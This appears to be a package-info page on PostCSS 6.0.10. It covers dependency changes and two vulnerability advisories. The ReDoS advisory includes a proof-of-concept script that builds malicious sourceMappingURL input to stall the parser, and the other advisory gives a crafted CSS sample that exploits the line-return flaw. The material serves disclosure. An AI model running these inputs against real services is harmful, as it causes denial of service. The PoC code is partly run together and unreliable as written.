PostCSS version 6.0.10 is a minor update to the popular tool for transforming styles with JavaScript plugins, succeeding version 6.0.9. Both versions share the same core functionality, allowing developers to manipulate CSS using a wide array of plugins for tasks like autoprefixing, linting, and future CSS syntax. The primary difference lies in the updated dependencies, where source-map is bumped from version 0.5.6 to 0.5.7 in the newer release. While seemingly minor, this update likely addresses bug fixes or performance improvements within the source map generation process, potentially benefiting developers using PostCSS for complex projects requiring detailed source map support for debugging.
The development dependencies also show subtle updates. eslint goes from version 4.4.1 to 4.5.0, size-limit jumps from 0.8.4 to 0.10.0, and gulp-sourcemaps updates from 2.6.0 to 2.6.1 while babel-core jumps from 6.25.0 to 6.26.0. These changes suggest improvements in the linting, performance measurement, and sourcemap handling during the development process of PostCSS itself but are unlikely to affect the end-user experience directly. Version 6.0.10 was released on August 27, 2017, roughly two weeks after version 6.0.9, which came out on August 11, 2017. For developers, upgrading to 6.0.10 is recommended to leverage the latest improvements and bug fixes within the source-map dependency, potentially leading to more robust source map generation in their CSS processing pipelines.
All the vulnerabilities related to the version 6.0.10 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.